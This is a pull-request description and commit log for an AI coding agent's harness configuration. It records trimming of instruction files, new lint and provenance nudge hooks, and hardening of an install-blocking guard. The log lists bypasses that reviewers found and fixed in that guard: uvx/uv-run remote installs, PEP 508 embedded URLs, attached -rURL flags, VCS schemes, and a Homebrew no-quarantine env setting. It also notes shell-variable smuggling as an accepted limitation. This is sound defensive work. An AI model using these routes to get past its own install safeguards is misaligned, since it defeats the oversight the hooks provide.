Some rows yes, some can't be. Already enforced: rm alternatives (sandbox denies + auto_classify), Edit-failure handling (harness re-read requirement), heredoc-in-commit (documented sandbox behavior). Added this round: lint and markdown nudges. What we're consciously not hooking: the judgment rows (auth-wall recognition, ambiguity restating, over-caution) — no tool-call signature to match on, so a hook would either never fire or fire wrongly. The mitigation for those is the harness's own improvement over time plus /hookify when a concrete regression pattern shows up; the rule text is the fallback that keeps them in-context. Net: I don't think we're losing coverage — everything hookable is hooked, and the rest was never hook-enforceable to begin with.
…agent-claims Review-comment round on PR #47: - nudge_hyperparam_provenance.py: cover eval-run params (n_seeds, n_rollouts, n_trajectories, n_trials, n_samples, max_turns/max_messages) and inline judge/monitor/grader/scorer prompt literals (the prompt IS a hyperparameter). - New nudge_lint.sh: ruff (.py) / shellcheck (.sh) at write time — enforces coding-conventions.md instead of relying on recall. ty deliberately excluded (beta, unstable diagnostics). - New nudge_md_hardwrap.py: one-paragraph-one-line rule from markdown-style.md, conservative mid-sentence-wrap heuristic, scans only the written fragment. - Both wired into WIRINGS; test_convention_nudges.sh added (17 cases). - Retire .agent-claims chope: delete rules/multi-agent-coordination.md, drop the auto_classify.py auto-approval and the stale-claims.sh liveness check; keep gitignore entries defensively. Worktree isolation covers same-repo parallelism. - Rename rules/fable-second-opinion.md -> rules/second-opinions.md; generalize to Fable + codex-companion channels. Audit check updated. - context-management.md: explicit delegate-for-exploration line. AC1 re-measured: 33,163 bytes <= 34,225 (was 34,206; retirement paid for the additions). Suites: substitution guards 56/56, wiring 34/34, convention nudges 17/17, stale-claims audit 0 drift, shellcheck+ruff clean. Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
…odex-companion channels The previous commit captured the rename at 100% similarity; this is the content half (two channels, per-channel expiry clause, dated 2026-07-28). Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
- nudge_lint.sh: portable python3 watchdog (4s) replaces GNU-timeout-or-unbounded; a hanging linter can no longer breach the fail-open contract on stock macOS - nudge_md_hardwrap.py: Edits scan the post-edit document from disk (real fence context), filtered to written lines; fence char/length tracking so ``` inside ```` doesn't toggle; pipe-less GFM table detection; per-fragment fallback skips fence-containing fragments - nudge_hyperparam_provenance.py: exemption checked per argument segment (mixed cfg + literal calls now fire), optional type annotations matched, comments/strings never fire, TS/paren-wrapped prompt literals matched - +12 regressions across both suites (now 23 + 62, all green); shellcheck + ruff clean Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
Dedup quote-parity logic (strip_comment now delegates to in_string with a no-comment-char fast path), drop dead code (|| true, 'or ""', unreachable .get default), pre-filter md-hook Edit path so the disk read is skipped when no fragment line could fire, and unwrap a redundant printf in the hang test. Behavior-preserving: both suites pin firing (23 + 62 green). Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
Blockers (block_unsafe_install.py): new uv-run pseudo-installer so uvx / uv run --with/--from remote specs block while plain https data args stay allowed; PEP 508 embedded @-URL detection; attached short flag values (-rURL) and inline --flag=URL checked; hg+/svn+/bzr+ schemes; npm owner/repo#committish shorthand; HOMEBREW_CASK_OPTS=--no-quarantine env spelling. Shell-variable smuggling documented as an accepted limitation (quarantine + OSV remain the downstream defense). Nudges: guard_existing_code.sh builds its JSON via json.dumps (filename via argv, no injection); nudge_number_provenance.py reads the transcript tail with deque(maxlen) instead of materializing it, and no longer scrubs bare two-part decimals as versions; nudge_synthetic_data.py catches random.random(). reply.md reference retargeted to markdown-style.md. 20 new regression assertions; all six suites green (163 H1, 51 H2, 35 H3, 62 F1-F4, 23 convention nudges, 34 applier = 368). Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
|
Codex full-branch review — disposition. All 5 blockers + 5 cheap P2s fixed in cc9ca90 (20 new regression assertions, 368 total green). Deferred, deliberately, as follow-ups:
|
CLAUDE.md: took main's deeper trim (config tree replaced by non-obvious-relationships bullets); the branch's one-word tweak targeted a line that trim deleted. claude/CLAUDE.md: kept the branch's full trim; main's only addition since the base was a rules-index pointer to background-job-questions.md, whose content arrives as the rule file itself (the trimmed file intentionally carries no rules index). Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
Decisions resolved (2026-07-28)The four items under "Needs a decision from you" were decided post-merge:
|
Caution
Do not merge without running
--applyin the same operationThe branch cuts prose whose replacement is hooks, but the F1-F4 substitution guards and the two new convention nudges are not wired in
claude/settings.json— between merge and--applythe guards are strictly weaker than pre-branch, violating the spec's "hooks first" constraint (AC11a, non-waivable). The wiring isn't committed becauseclaude/settings.jsonis symlinked and dual-written by Claude Code;wire_harness_hooks.py --applypatches the live file idempotently instead. Run it from the main checkout, not a worktree.Implements
specs/2026-07-26-reduce-harness-bloat.md: cut the auto-loaded Claude instruction tier without weakening any safety guard.Result
AC1, measured as the spec defines (
cat claude/CLAUDE.md claude/rules/*.md claude/output-styles/effortful-learning.md | wc -c):claude/CLAUDE.md20,757 → 5,911;claude/rules/94,504 → 20,061 (21 files → 15); output style untouched per spec. Anything added to the auto-loaded tier needs a re-measure, not an estimate.The retention bar (user-chosen): enforce-or-delete. Hooks gated only 9% of the overage; the rest was never enforced by anything but a decision. Prose survives only if a hook/tool enforces it, it's an environment fact the model can't derive, or its violation is irreversible (
rm -rf, destructive git, secrets,git add -Ain-sandbox — kept regardless of enforcement). Six rule files deleted outright, each with a surviving home or a retirement case (see review-response round below for the sixth).Hooks and review rounds
Tranche 1 ships four install gates (
block_unsafe_install.py), two GWS blockers, four substitution nudges (F1-F4), and — from the review-response round — a lint nudge and a markdown hard-wrap nudge. 368 assertions green (163 H1, 51 H2, 35 H3, 62 F1-F4, 23 convention nudges, 34 applier).Seven review rounds each found defects the then-green suite did not (4 fail-opens → 15 bypasses → 2 fail-opens + 1 false denial + 1 memory blowup → 3 audit defects → AC11a violations → 3 nudge-hook defects: an unbounded linter on stock macOS breaching fail-open, fence-blind markdown Edit scanning, and line-level provenance exemptions that both missed real hardcodes and fired on comments/strings → a final full-branch Codex pass: 5 blocker bypasses — uvx/uv-run installs, PEP 508 embedded URLs, attached
-rURLvalues, extra VCS schemes,HOMEBREW_CASK_OPTSenv bypass — plus JSON-injection and memory fixes in the nudges, commitcc9ca90). The takeaway this PR argues for: a passing suite is not evidence; every repair ships with a probe that passes against the pre-repair code and fails against the repaired one.Review-response round (
5ff3a6b,2dd4065)Addressing the 13 inline comments (each has a threaded reply with details):
n_seeds,n_rollouts,n_trajectories,n_trials,n_samples,max_turns,max_messages) and inline judge/monitor/grader/scorer prompt literals.nudge_lint.sh(new): ruff/.py + shellcheck/.sh at write time, nudge-only, fail-open. ty excluded (beta, unstable diagnostics).nudge_md_hardwrap.py(new): one-paragraph-one-line frommarkdown-style.md, conservative heuristic, scans only the written fragment.rules/multi-agent-coordination.mdretired (the.agent-claimschope): two repos ever grew the dir, zero live claims, no incident it ever prevented; worktree isolation covers same-repo parallelism. This lands the R10 row-8 disposition ("Retired practice") as originally approved — resolving the deviation a previous revision of this description flagged as decision 5.rules/fable-second-opinion.md→rules/second-opinions.md: generalized to Fable + codex-companion channels, per-channel expiry clause;stale-claims.shaudit updated.context-management.md: explicit delegate-for-exploration bullet added./hookifyas the recourse for recurring regressions.codex/AGENTS.mdstaleness: Codex audit requested per comment; findings will land on that thread.Corrections log
Commit messages can't be amended without force-push, so their errors are recorded here:
e9ae85esays 95 → 112 assertions (actual 158; a concurrent write double-committed regression blocks, deduped to 143 in9e919f0— coverage was never inflated, the count was);bec9b91says the GWS blockers were wired "years earlier" (actual: 2026-04-06, ~3.7 months);dc27972says both AC11a restorations reduce byte count (actual: net +75);9e919f0's recovery pathgit show HEAD~1:…is stale — usegit show 9e919f0:claude/docs/<name>.mdfor the four deleted on-demand docs.Needs a decision from you
codex/AGENTS.md:11opens aCODEX-ONLYmarker that never closes; read strictly, R7 may cut nothing. The prepared trim is committed ascodex/AGENTS.r7-trim-draft.md(3,236 bytes vs the current 7,036). Say the word and it replacesAGENTS.md; otherwise R7 stays undelivered.block()exits 2 unconditionally; an explicitly-approved tap/git install still blocks on retry, contradicting the "overridable with approval" docstring. Options: one-shot approval marker,askpermission decision, or accept block-always and fix the docstring. Security-boundary call, so yours.claude/docs/humanizer-patterns.md. Restored for a reason round 5 falsified (the plugin'sSee:line dangles at the plugin, not here). Options: (a) leave (0 AC1 bytes, 22KB orphan), (b) re-delete (bar-consistent, recoverable at9e919f0), (c) move it into the ai-safety-plugins repo, fixing the dangling reference — the only option that fixes anything, but out of this PR's scope. Lean: (c) then (b).safety-and-git.md's six sandbox patterns were reflowed (all six still present in substance). Restoringmain's wording verbatim costs ~1,100 bytes — now affordable within the 1,062+ headroom only by cutting elsewhere. Options: (a) leave as-is (substance kept, letter broken), (b) restore and fund it by a cut. Lean: (a), but this contradicts an explicit spec clause, so not deciding it unilaterally.Not done — stated plainly
--applyruns at merge (the gate above). The two GWS Bash blockers are already live pre-branch;--applyadds the MCP deletion matchers, the dead-matcher migration, F1-F4, and the two new nudges.~/.claude/resolves to the main checkout, so the trim isn't live from a worktree; the spec's fresh-session spot-check and R6's two-session skill-listing measurement can only run post-merge. R6's named repairs are done; its measurement gate (and the pruning it gates) is not.wire_harness_hooks.py:320-322— worth fixing before--apply, since--applyis what would hit it.code:code-reviewer's prompt), minimal-edits-to-external-code,/run/user/$(id -u)read-only fact.rules/effortful-learning.mdis safe only while theeffortful-learningoutput style is active (7,191 bytes, 22% of the total, spec-protected from cutting).custom_bins/claude-tools-linux-x86_64is modified in the working tree and deliberately unstaged —HEAD's copy matches theSHA256SUMSpin; only the working copy differs.scripts/shared/helpers.sh:1687fails open on worktree detection (|| return 0).To ship
Merge → tag
pretrim-harness-2026-07-27→wire_harness_hooks.py --applyfrom the main checkout → fresh-session spot-check.https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H